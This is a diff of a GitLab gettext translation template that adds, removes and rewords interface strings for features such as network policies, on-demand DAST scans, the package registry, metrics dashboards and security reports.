+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
